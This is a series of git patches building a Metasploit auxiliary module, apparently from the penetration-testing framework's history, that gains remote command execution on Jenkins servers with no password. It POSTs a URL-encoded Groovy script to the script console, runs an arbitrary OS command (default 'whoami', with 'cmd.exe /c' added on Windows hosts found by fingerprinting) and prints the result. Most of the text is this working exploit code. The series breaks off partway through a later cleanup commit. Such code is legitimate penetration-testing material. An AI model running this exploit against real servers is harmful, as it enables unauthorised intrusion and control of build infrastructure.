From becc599aca8bd9f6c4ceee8b0d9350f74261164b Mon Sep 17 00:00:00 2001 From: altjx Date: Wed, 2 Sep 2015 16:12:05 -0400 Subject: [PATCH 01/13] Created Jenkins RCE module This module simply automates the same procedures documented by Royce Davis at https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password/. --- .../auxiliary/scanner/http/jenkins_command.rb | 64 +++++++++++++++++++ 1 file changed, 64 insertions(+) create mode 100644 modules/auxiliary/scanner/http/jenkins_command.rb diff --git a/modules/auxiliary/scanner/http/jenkins_command.rb b/modules/auxiliary/scanner/http/jenkins_command.rb new file mode 100644 index 0000000000..d43451193a --- /dev/null +++ b/modules/auxiliary/scanner/http/jenkins_command.rb @@ -0,0 +1,64 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +## +# Some of this code was taken from the "jboss_vulnscan" module by: Tyler Krpata +## + +require 'rex/proto/http' +require 'msf/core' +require 'rexml/document' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Jenkins RCE (via Groovy Script)', + 'Description' => %q{ + This module takes advantage of the lack of password on Jenkins web applications + and automates the command execution aspect (via groovy script). + }, + 'Author' => + [ + 'altonjx', + 'Jeffrey Cap' + ], + 'References' => [ + ['URL', 'https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password/'] + ], + 'License' => MSF_LICENSE + )) + + register_options( + [ + OptString.new('TARGETURI', [ true, "Path to Jenkins instance", "/jenkins/script"]), + OptString.new('COMMAND', [true, 'Command to run in application', 'whoami']), + ], self.class) + deregister_options('VHOST') + end + + def run_host(ip) + command = datastore['COMMAND'].gsub("\\", "\\\\\\") + res = send_request_cgi( + { + 'uri' => target_uri.path, + 'method' => 'POST', + 'ctype' => 'application/x-www-form-urlencoded', + 'data' => "script=def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%0D%0Adef+proc+%3D+%27cmd.exe+%2Fc+#{command}%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%26gt%3B+%24sout+err%26gt%3B+%24serr%22%0D%0A&json=%7B%22script%22%3A+%22def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%5Cndef+proc+%3D+%27cmd.exe+%2Fc+#{command}%27.execute%28%29%5Cnproc.consumeProcessOutput%28sout%2C+serr%29%5Cnproc.waitForOrKill%281000%29%5Cnprintln+%5C%22out%26gt%3B+%24sout+err%26gt%3B+%24serr%5C%22%5Cn%22%2C+%22%22%3A+%22def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%5Cndef+proc+%3D+%27cmd.exe+%2Fc+#{command}%27.execute%28%29%5Cnproc.consumeProcessOutput%28sout%2C+serr%29%22%7D&Submit=Run" + }).to_s.gsub("err&gt;", "") + output = res.scan(/
(.*?)<\/pre>/m)[1][0][12..-1]
+
+   if output.include? "groovy.control.MultipleCompilationErrorsException"
+     print_error("An unown error occurred when running the command.")
+   else
+     print_good("The server responded with the following output:\n")
+     puts CGI.unescapeHTML(output)
+   end
+  end
+end

From bde4f40c53cad19ce28e8e547131daff0e6236ad Mon Sep 17 00:00:00 2001
From: altjx 
Date: Wed, 2 Sep 2015 16:39:49 -0400
Subject: [PATCH 02/13] Update jenkins_command.rb

---
 .../auxiliary/scanner/http/jenkins_command.rb | 19 +++++++++++--------
 1 file changed, 11 insertions(+), 8 deletions(-)

diff --git a/modules/auxiliary/scanner/http/jenkins_command.rb b/modules/auxiliary/scanner/http/jenkins_command.rb
index d43451193a..706f2ba065 100644
--- a/modules/auxiliary/scanner/http/jenkins_command.rb
+++ b/modules/auxiliary/scanner/http/jenkins_command.rb
@@ -51,14 +51,17 @@ class Metasploit3 < Msf::Auxiliary
       'method'    => 'POST',
       'ctype'     => 'application/x-www-form-urlencoded',
       'data'      => "script=def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%0D%0Adef+proc+%3D+%27cmd.exe+%2Fc+#{command}%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%26gt%3B+%24sout+err%26gt%3B+%24serr%22%0D%0A&json=%7B%22script%22%3A+%22def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%5Cndef+proc+%3D+%27cmd.exe+%2Fc+#{command}%27.execute%28%29%5Cnproc.consumeProcessOutput%28sout%2C+serr%29%5Cnproc.waitForOrKill%281000%29%5Cnprintln+%5C%22out%26gt%3B+%24sout+err%26gt%3B+%24serr%5C%22%5Cn%22%2C+%22%22%3A+%22def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%5Cndef+proc+%3D+%27cmd.exe+%2Fc+#{command}%27.execute%28%29%5Cnproc.consumeProcessOutput%28sout%2C+serr%29%22%7D&Submit=Run"
-    }).to_s.gsub("err&gt;", "")
-   output = res.scan(/
(.*?)<\/pre>/m)[1][0][12..-1]
+    }).body.to_s
+     
+    unless res.nil?
+      output = res.scan(/
(.*?)<\/pre>/m)[1][0][12..-1].gsub("err&gt;", "")
+    end
 
-   if output.include? "groovy.control.MultipleCompilationErrorsException"
-     print_error("An unown error occurred when running the command.")
-   else
-     print_good("The server responded with the following output:\n")
-     puts CGI.unescapeHTML(output)
-   end
+    if output.include? "groovy.control.MultipleCompilationErrorsException"
+      print_error("An unknown error occurred when running the command.")
+    else
+      print_good("The server responded with the following output:")
+      print_good(output)
+    end
   end
 end

From 284edbe4b0244ee715835162dff1c6b8e586f11f Mon Sep 17 00:00:00 2001
From: altjx 
Date: Wed, 2 Sep 2015 16:47:23 -0400
Subject: [PATCH 03/13] Update jenkins_command.rb

---
 modules/auxiliary/scanner/http/jenkins_command.rb | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/modules/auxiliary/scanner/http/jenkins_command.rb b/modules/auxiliary/scanner/http/jenkins_command.rb
index 706f2ba065..30190e5b75 100644
--- a/modules/auxiliary/scanner/http/jenkins_command.rb
+++ b/modules/auxiliary/scanner/http/jenkins_command.rb
@@ -30,7 +30,7 @@ class Metasploit3 < Msf::Auxiliary
              'Jeffrey Cap'
         ],
       'References'  => [
-        ['URL', 'https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password/'] 
+        ['URL', 'https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password/']
        ],
       'License'     => MSF_LICENSE
       ))
@@ -52,7 +52,7 @@ class Metasploit3 < Msf::Auxiliary
       'ctype'     => 'application/x-www-form-urlencoded',
       'data'      => "script=def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%0D%0Adef+proc+%3D+%27cmd.exe+%2Fc+#{command}%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%26gt%3B+%24sout+err%26gt%3B+%24serr%22%0D%0A&json=%7B%22script%22%3A+%22def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%5Cndef+proc+%3D+%27cmd.exe+%2Fc+#{command}%27.execute%28%29%5Cnproc.consumeProcessOutput%28sout%2C+serr%29%5Cnproc.waitForOrKill%281000%29%5Cnprintln+%5C%22out%26gt%3B+%24sout+err%26gt%3B+%24serr%5C%22%5Cn%22%2C+%22%22%3A+%22def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%5Cndef+proc+%3D+%27cmd.exe+%2Fc+#{command}%27.execute%28%29%5Cnproc.consumeProcessOutput%28sout%2C+serr%29%22%7D&Submit=Run"
     }).body.to_s
-     
+
     unless res.nil?
       output = res.scan(/
(.*?)<\/pre>/m)[1][0][12..-1].gsub("err&gt;", "")
     end

From 59aa3975be6e87cf556621d5ba7f04999fadf61a Mon Sep 17 00:00:00 2001
From: Alton Johnson 
Date: Wed, 2 Sep 2015 18:27:44 -0500
Subject: [PATCH 04/13] Updated.

---
 .../auxiliary/scanner/http/jenkins_command.rb | 33 ++++++++++++-------
 1 file changed, 22 insertions(+), 11 deletions(-)

diff --git a/modules/auxiliary/scanner/http/jenkins_command.rb b/modules/auxiliary/scanner/http/jenkins_command.rb
index 30190e5b75..f0f984c8da 100644
--- a/modules/auxiliary/scanner/http/jenkins_command.rb
+++ b/modules/auxiliary/scanner/http/jenkins_command.rb
@@ -43,25 +43,36 @@ class Metasploit3 < Msf::Auxiliary
     deregister_options('VHOST')
   end
 
-  def run_host(ip)
+  def run_host(ip, prefix="cmd.exe /c", try=1)
     command = datastore['COMMAND'].gsub("\\", "\\\\\\")
     res = send_request_cgi(
       {
       'uri'       => target_uri.path,
       'method'    => 'POST',
       'ctype'     => 'application/x-www-form-urlencoded',
-      'data'      => "script=def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%0D%0Adef+proc+%3D+%27cmd.exe+%2Fc+#{command}%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%26gt%3B+%24sout+err%26gt%3B+%24serr%22%0D%0A&json=%7B%22script%22%3A+%22def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%5Cndef+proc+%3D+%27cmd.exe+%2Fc+#{command}%27.execute%28%29%5Cnproc.consumeProcessOutput%28sout%2C+serr%29%5Cnproc.waitForOrKill%281000%29%5Cnprintln+%5C%22out%26gt%3B+%24sout+err%26gt%3B+%24serr%5C%22%5Cn%22%2C+%22%22%3A+%22def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%5Cndef+proc+%3D+%27cmd.exe+%2Fc+#{command}%27.execute%28%29%5Cnproc.consumeProcessOutput%28sout%2C+serr%29%22%7D&Submit=Run"
+      'data'      => "script=def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%0D%0Adef+proc+%3D+%27#{prefix}+#{command}%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%26gt%3B+%24sout+err%26gt%3B+%24serr%22%0D%0A&json=%7B%22script%22%3A+%22def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%5Cndef+proc+%3D+%27#{prefix}+#{command}%27.execute%28%29%5Cnproc.consumeProcessOutput%28sout%2C+serr%29%5Cnproc.waitForOrKill%281000%29%5Cnprintln+%5C%22out%26gt%3B+%24sout+err%26gt%3B+%24serr%5C%22%5Cn%22%2C+%22%22%3A+%22def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%5Cndef+proc+%3D+%27#{prefix}+#{command}%27.execute%28%29%5Cnproc.consumeProcessOutput%28sout%2C+serr%29%22%7D&Submit=Run"
     }).body.to_s
-
-    unless res.nil?
-      output = res.scan(/
(.*?)<\/pre>/m)[1][0][12..-1].gsub("err&gt;", "")
-    end
-
-    if output.include? "groovy.control.MultipleCompilationErrorsException"
-      print_error("An unknown error occurred when running the command.")
+    if res.nil?
+      print_error("#{rhost}:#{rport} - An unknown error occurred when running the command.")
     else
-      print_good("The server responded with the following output:")
-      print_good(output)
+      output = res.scan(/
(.*?)<\/pre>/m)[1][0][12..-1].gsub("err&gt;", "")
+      if output.include? "org.eclipse.jetty.server." and try == 1
+        run_host(ip, "", 2)
+      elsif (output.include? "org.eclipse.jetty.server." and try == 2) or output.include? "not recognized as"
+        print_error("The provided command is not valid. Try again.")
+      else
+        print_good("The command executed. Output:")
+        print_good(output)
+      end
     end
   end
+
+  def report_data(ip, command)
+    report_service(
+      :host   => ip,
+      :port   => datastore['RPORT'],
+      :proto  => 'tcp',
+      :info   => "The command -- #{command} -- executed successfully on the remote system."
+    )
+  end
 end

From f78f6d0a0cc20bbe8f1544204574911ea7aee2f2 Mon Sep 17 00:00:00 2001
From: Alton Johnson 
Date: Wed, 2 Sep 2015 19:03:07 -0500
Subject: [PATCH 05/13] Updated.

---
 modules/auxiliary/scanner/http/jenkins_command.rb | 6 +-----
 1 file changed, 1 insertion(+), 5 deletions(-)

diff --git a/modules/auxiliary/scanner/http/jenkins_command.rb b/modules/auxiliary/scanner/http/jenkins_command.rb
index f0f984c8da..0b88e44d3a 100644
--- a/modules/auxiliary/scanner/http/jenkins_command.rb
+++ b/modules/auxiliary/scanner/http/jenkins_command.rb
@@ -3,10 +3,6 @@
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-##
-# Some of this code was taken from the "jboss_vulnscan" module by: Tyler Krpata
-##
-
 require 'rex/proto/http'
 require 'msf/core'
 require 'rexml/document'
@@ -62,7 +58,7 @@ class Metasploit3 < Msf::Auxiliary
         print_error("The provided command is not valid. Try again.")
       else
         print_good("The command executed. Output:")
-        print_good(output)
+        output.split("\n").each{|line| print_status("#{rhost}:#{rport} Output: #{line.strip} "}
       end
     end
   end

From 40176b9e3f44d47e35d3f169578131254c571c80 Mon Sep 17 00:00:00 2001
From: Alton Johnson 
Date: Wed, 2 Sep 2015 19:36:18 -0500
Subject: [PATCH 06/13] Updated.

---
 modules/auxiliary/scanner/http/jenkins_command.rb | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/modules/auxiliary/scanner/http/jenkins_command.rb b/modules/auxiliary/scanner/http/jenkins_command.rb
index 0b88e44d3a..34d1305a63 100644
--- a/modules/auxiliary/scanner/http/jenkins_command.rb
+++ b/modules/auxiliary/scanner/http/jenkins_command.rb
@@ -58,7 +58,7 @@ class Metasploit3 < Msf::Auxiliary
         print_error("The provided command is not valid. Try again.")
       else
         print_good("The command executed. Output:")
-        output.split("\n").each{|line| print_status("#{rhost}:#{rport} Output: #{line.strip} "}
+        print_good(output.strip)
       end
     end
   end

From 255c8b63b3bac151a571d07eeb857b453e8af953 Mon Sep 17 00:00:00 2001
From: altjx 
Date: Wed, 2 Sep 2015 23:33:06 -0400
Subject: [PATCH 07/13] Modified output

---
 .../auxiliary/scanner/http/jenkins_command.rb | 59 +++++++------------
 1 file changed, 20 insertions(+), 39 deletions(-)

diff --git a/modules/auxiliary/scanner/http/jenkins_command.rb b/modules/auxiliary/scanner/http/jenkins_command.rb
index 34d1305a63..ddbb4bedac 100644
--- a/modules/auxiliary/scanner/http/jenkins_command.rb
+++ b/modules/auxiliary/scanner/http/jenkins_command.rb
@@ -3,6 +3,10 @@
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
+##
+# Some of this code was taken from the "jboss_vulnscan" module by: Tyler Krpata
+##
+
 require 'rex/proto/http'
 require 'msf/core'
 require 'rexml/document'
@@ -15,60 +19,37 @@ class Metasploit3 < Msf::Auxiliary
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'        => 'Jenkins RCE (via Groovy Script)',
+      'Name'        => 'Jenkins Enumeration',
       'Description' => %q{
-        This module takes advantage of the lack of password on Jenkins web applications
-        and automates the command execution aspect (via groovy script).
+        This module enumerates a remote Jenkins installation in an unauthenticated manner, including
+        host operating system and and Jenkins installation details.
       },
-      'Author'      =>
-        [
-             'altonjx',
-             'Jeffrey Cap'
-        ],
-      'References'  => [
-        ['URL', 'https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password/']
-       ],
+      'Author'      => 'Jeff McCutchan',
       'License'     => MSF_LICENSE
       ))
 
     register_options(
       [
-        OptString.new('TARGETURI',  [ true,  "Path to Jenkins instance", "/jenkins/script"]),
-        OptString.new('COMMAND', [true, 'Command to run in application', 'whoami']),
+        OptString.new('TARGETURI',  [ true,  "Path to Jenkins instance", "/jenkins/"]),
+        OptString.new('COMMAND', [true, 'Command to run via Groovy Script']),
       ], self.class)
-    deregister_options('VHOST')
   end
 
-  def run_host(ip, prefix="cmd.exe /c", try=1)
+  def run_host(ip)
+    headers = {
+      'Cookie' => 'JSESSIONID=1x7vleaog5ele1hte6hk6ca6bw'
+    }
     command = datastore['COMMAND'].gsub("\\", "\\\\\\")
     res = send_request_cgi(
       {
       'uri'       => target_uri.path,
       'method'    => 'POST',
       'ctype'     => 'application/x-www-form-urlencoded',
-      'data'      => "script=def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%0D%0Adef+proc+%3D+%27#{prefix}+#{command}%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%26gt%3B+%24sout+err%26gt%3B+%24serr%22%0D%0A&json=%7B%22script%22%3A+%22def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%5Cndef+proc+%3D+%27#{prefix}+#{command}%27.execute%28%29%5Cnproc.consumeProcessOutput%28sout%2C+serr%29%5Cnproc.waitForOrKill%281000%29%5Cnprintln+%5C%22out%26gt%3B+%24sout+err%26gt%3B+%24serr%5C%22%5Cn%22%2C+%22%22%3A+%22def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%5Cndef+proc+%3D+%27#{prefix}+#{command}%27.execute%28%29%5Cnproc.consumeProcessOutput%28sout%2C+serr%29%22%7D&Submit=Run"
-    }).body.to_s
-    if res.nil?
-      print_error("#{rhost}:#{rport} - An unknown error occurred when running the command.")
-    else
-      output = res.scan(/
(.*?)<\/pre>/m)[1][0][12..-1].gsub("err&gt;", "")
-      if output.include? "org.eclipse.jetty.server." and try == 1
-        run_host(ip, "", 2)
-      elsif (output.include? "org.eclipse.jetty.server." and try == 2) or output.include? "not recognized as"
-        print_error("The provided command is not valid. Try again.")
-      else
-        print_good("The command executed. Output:")
-        print_good(output.strip)
-      end
-    end
-  end
-
-  def report_data(ip, command)
-    report_service(
-      :host   => ip,
-      :port   => datastore['RPORT'],
-      :proto  => 'tcp',
-      :info   => "The command -- #{command} -- executed successfully on the remote system."
-    )
+      'headers'   => headers,
+      'data'      => "script=def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%0D%0Adef+proc+%3D+%27cmd.exe+%2Fc+#{command}%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%26gt%3B+%24sout+err%26gt%3B+%24serr%22%0D%0A&json=%7B%22script%22%3A+%22def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%5Cndef+proc+%3D+%27cmd.exe+%2Fc+whoami%27.execute%28%29%5Cnproc.consumeProcessOutput%28sout%2C+serr%29%5Cnproc.waitForOrKill%281000%29%5Cnprintln+%5C%22out%26gt%3B+%24sout+err%26gt%3B+%24serr%5C%22%5Cn%22%2C+%22%22%3A+%22def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%5Cndef+proc+%3D+%27cmd.exe+%2Fc+whoami%27.execute%28%29%5Cnproc.consumeProcessOutput%28sout%2C+serr%29%22%7D&Submit=Run"
+    }).to_s.gsub("err&gt;", "")
+   output = res.scan(/
(.*?)<\/pre>/m)[1][0][12..-1].strip
+   print_good("The command executed successfully on #{rhost}:#{rport}.")
+   output.split("\n").each{|line| print_status("#{rhost}:#{rport}: #{line.strip}")}
   end
 end

From 4b8dc143ec4f551acbdfc82e52801028ed3edc49 Mon Sep 17 00:00:00 2001
From: altjx 
Date: Wed, 2 Sep 2015 23:50:03 -0400
Subject: [PATCH 08/13] Fixed output

---
 .../auxiliary/scanner/http/jenkins_command.rb | 61 +++++++++++++------
 1 file changed, 41 insertions(+), 20 deletions(-)

diff --git a/modules/auxiliary/scanner/http/jenkins_command.rb b/modules/auxiliary/scanner/http/jenkins_command.rb
index ddbb4bedac..a2aa87978b 100644
--- a/modules/auxiliary/scanner/http/jenkins_command.rb
+++ b/modules/auxiliary/scanner/http/jenkins_command.rb
@@ -3,10 +3,6 @@
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-##
-# Some of this code was taken from the "jboss_vulnscan" module by: Tyler Krpata
-##
-
 require 'rex/proto/http'
 require 'msf/core'
 require 'rexml/document'
@@ -19,37 +15,62 @@ class Metasploit3 < Msf::Auxiliary
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'        => 'Jenkins Enumeration',
+      'Name'        => 'Jenkins RCE (via Groovy Script)',
       'Description' => %q{
-        This module enumerates a remote Jenkins installation in an unauthenticated manner, including
-        host operating system and and Jenkins installation details.
+        This module takes advantage of the lack of password on Jenkins web applications
+        and automates the command execution aspect (via groovy script).
       },
-      'Author'      => 'Jeff McCutchan',
+      'Author'      =>
+        [
+             'altonjx',
+             'Jeffrey Cap'
+        ],
+      'References'  => [
+        ['URL', 'https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password/']
+       ],
       'License'     => MSF_LICENSE
       ))
 
     register_options(
       [
-        OptString.new('TARGETURI',  [ true,  "Path to Jenkins instance", "/jenkins/"]),
-        OptString.new('COMMAND', [true, 'Command to run via Groovy Script']),
+        OptString.new('TARGETURI',  [ true,  "Path to Jenkins instance", "/jenkins/script"]),
+        OptString.new('COMMAND', [true, 'Command to run in application', 'whoami']),
       ], self.class)
+    deregister_options('VHOST')
   end
 
-  def run_host(ip)
-    headers = {
-      'Cookie' => 'JSESSIONID=1x7vleaog5ele1hte6hk6ca6bw'
-    }
+  def run_host(ip, prefix="cmd.exe /c", try=1)
     command = datastore['COMMAND'].gsub("\\", "\\\\\\")
     res = send_request_cgi(
       {
       'uri'       => target_uri.path,
       'method'    => 'POST',
       'ctype'     => 'application/x-www-form-urlencoded',
-      'headers'   => headers,
-      'data'      => "script=def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%0D%0Adef+proc+%3D+%27cmd.exe+%2Fc+#{command}%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%26gt%3B+%24sout+err%26gt%3B+%24serr%22%0D%0A&json=%7B%22script%22%3A+%22def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%5Cndef+proc+%3D+%27cmd.exe+%2Fc+whoami%27.execute%28%29%5Cnproc.consumeProcessOutput%28sout%2C+serr%29%5Cnproc.waitForOrKill%281000%29%5Cnprintln+%5C%22out%26gt%3B+%24sout+err%26gt%3B+%24serr%5C%22%5Cn%22%2C+%22%22%3A+%22def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%5Cndef+proc+%3D+%27cmd.exe+%2Fc+whoami%27.execute%28%29%5Cnproc.consumeProcessOutput%28sout%2C+serr%29%22%7D&Submit=Run"
-    }).to_s.gsub("err&gt;", "")
-   output = res.scan(/
(.*?)<\/pre>/m)[1][0][12..-1].strip
-   print_good("The command executed successfully on #{rhost}:#{rport}.")
-   output.split("\n").each{|line| print_status("#{rhost}:#{rport}: #{line.strip}")}
+      'data'      => "script=def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%0D%0Adef+proc+%3D+%27#{prefix}+#{command}%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%26gt%3B+%24sout+err%26gt%3B+%24serr%22%0D%0A&json=%7B%22script%22%3A+%22def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%5Cndef+proc+%3D+%27#{prefix}+#{command}%27.execute%28%29%5Cnproc.consumeProcessOutput%28sout%2C+serr%29%5Cnproc.waitForOrKill%281000%29%5Cnprintln+%5C%22out%26gt%3B+%24sout+err%26gt%3B+%24serr%5C%22%5Cn%22%2C+%22%22%3A+%22def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%5Cndef+proc+%3D+%27#{prefix}+#{command}%27.execute%28%29%5Cnproc.consumeProcessOutput%28sout%2C+serr%29%22%7D&Submit=Run"
+    }).body.to_s
+    if res.nil?
+      print_error("#{rhost}:#{rport} - An unknown error occurred when running the command.")
+    else
+      output = res.scan(/
(.*?)<\/pre>/m)[1][0][12..-1].gsub("err&gt;", "").strip
+      if output.include? "org.eclipse.jetty.server." and try == 1
+        run_host(ip, "", 2)
+      elsif (output.include? "org.eclipse.jetty.server." and try == 2) or output.include? "not recognized as"
+        print_error("The provided command is not valid. Try again.")
+        report_data(ip, rport, "The #{command} did not run successfully.")
+      else
+        print_good("The command executed successfully on #{ip}. Output:")
+        report_data(ip, rport, "The #{command} executed successfully.")
+        output.split("\n").each{|line| print_status("#{rhost}:#{rport}: #{line.strip}")}
+      end
+    end
+  end
+
+  def report_data(ip, rport, result)
+    report_service(
+      :host   => ip,
+      :port   => datastore['RPORT'],
+      :proto  => 'tcp',
+      :info   => result
+    )
   end
 end

From 5d59e8190e83cab1c7842271d28bf9a9db3291c1 Mon Sep 17 00:00:00 2001
From: Alton Johnson 
Date: Thu, 3 Sep 2015 13:12:07 -0500
Subject: [PATCH 09/13] Added OS detection.

---
 .../auxiliary/scanner/http/jenkins_command.rb | 44 ++++++++++++++-----
 1 file changed, 32 insertions(+), 12 deletions(-)

diff --git a/modules/auxiliary/scanner/http/jenkins_command.rb b/modules/auxiliary/scanner/http/jenkins_command.rb
index a2aa87978b..4a913e79df 100644
--- a/modules/auxiliary/scanner/http/jenkins_command.rb
+++ b/modules/auxiliary/scanner/http/jenkins_command.rb
@@ -39,11 +39,29 @@ class Metasploit3 < Msf::Auxiliary
     deregister_options('VHOST')
   end
 
-  def run_host(ip, prefix="cmd.exe /c", try=1)
-    command = datastore['COMMAND'].gsub("\\", "\\\\\\")
+  def fingerprint_os(ip)
     res = send_request_cgi(
       {
-      'uri'       => target_uri.path,
+        'uri'     => "#{target_uri.path}systemInfo",
+        'method'  => 'GET',
+        'ctype'   => 'application/x-www-form-urlencoded'
+      }
+    ).body.to_s
+    unless res.nil?
+      if res.scan(/os.name(.*?)os.version/m).to_s.downcase.include? "windows"
+        return "cmd.exe /c"
+      else
+        return ""
+      end
+    end
+  end
+
+  def run_host(ip)
+    command = datastore['COMMAND'].gsub("\\", "\\\\\\")
+    prefix = fingerprint_os(ip)
+    res = send_request_cgi(
+      {
+      'uri'       => "#{target_uri.path}script",
       'method'    => 'POST',
       'ctype'     => 'application/x-www-form-urlencoded',
       'data'      => "script=def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%0D%0Adef+proc+%3D+%27#{prefix}+#{command}%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%26gt%3B+%24sout+err%26gt%3B+%24serr%22%0D%0A&json=%7B%22script%22%3A+%22def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%5Cndef+proc+%3D+%27#{prefix}+#{command}%27.execute%28%29%5Cnproc.consumeProcessOutput%28sout%2C+serr%29%5Cnproc.waitForOrKill%281000%29%5Cnprintln+%5C%22out%26gt%3B+%24sout+err%26gt%3B+%24serr%5C%22%5Cn%22%2C+%22%22%3A+%22def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%5Cndef+proc+%3D+%27#{prefix}+#{command}%27.execute%28%29%5Cnproc.consumeProcessOutput%28sout%2C+serr%29%22%7D&Submit=Run"
@@ -51,16 +69,18 @@ class Metasploit3 < Msf::Auxiliary
     if res.nil?
       print_error("#{rhost}:#{rport} - An unknown error occurred when running the command.")
     else
-      output = res.scan(/
(.*?)<\/pre>/m)[1][0][12..-1].gsub("err&gt;", "").strip
-      if output.include? "org.eclipse.jetty.server." and try == 1
-        run_host(ip, "", 2)
-      elsif (output.include? "org.eclipse.jetty.server." and try == 2) or output.include? "not recognized as"
-        print_error("The provided command is not valid. Try again.")
-        report_data(ip, rport, "The #{command} did not run successfully.")
+      output = res.scan(/
(.*?)<\/pre>/m)
+      if output.to_s.include? "java.lang.Runtime.exec" or output.to_s.include? "not recognized"
+        print_error("#{rhost}:#{rport} - Invalid command provided to the OS.")
+        report_data(ip, rport, "The command #{command} was not valid on the remote host.")
+      elsif !output.empty? and !output.to_s.include? "java.lang.Runtime.exec"
+        output = output[1][0][12..-1].gsub("err&gt;", "").strip
+        print_good("#{rhost}:#{rport}: The command executed successfully on #{ip}. Output:")
+        report_data(ip, rport, "The command #{command} executed successfully.")
+        output.split("\n").each{|line| print_good("#{rhost}:#{rport}: #{line.strip}")}
       else
-        print_good("The command executed successfully on #{ip}. Output:")
-        report_data(ip, rport, "The #{command} executed successfully.")
-        output.split("\n").each{|line| print_status("#{rhost}:#{rport}: #{line.strip}")}
+        print_error("#{rhost}:#{rport} - An unknown error has occured when running the command.")
+        report_data(ip, rport, "The command #{command} did not execute successfully.")
       end
     end
   end

From 04d622b69b17ca3d2ae360f92c18533634ba10e2 Mon Sep 17 00:00:00 2001
From: HD Moore 
Date: Fri, 4 Sep 2015 10:25:51 -0700
Subject: [PATCH 10/13] Cleanup Jenkins-CI module titles and option
 descriptions

---
 modules/auxiliary/scanner/http/jenkins_command.rb     | 7 ++++---
 modules/auxiliary/scanner/http/jenkins_enum.rb        | 6 +++---
 modules/exploits/multi/http/jenkins_script_console.rb | 6 +++---
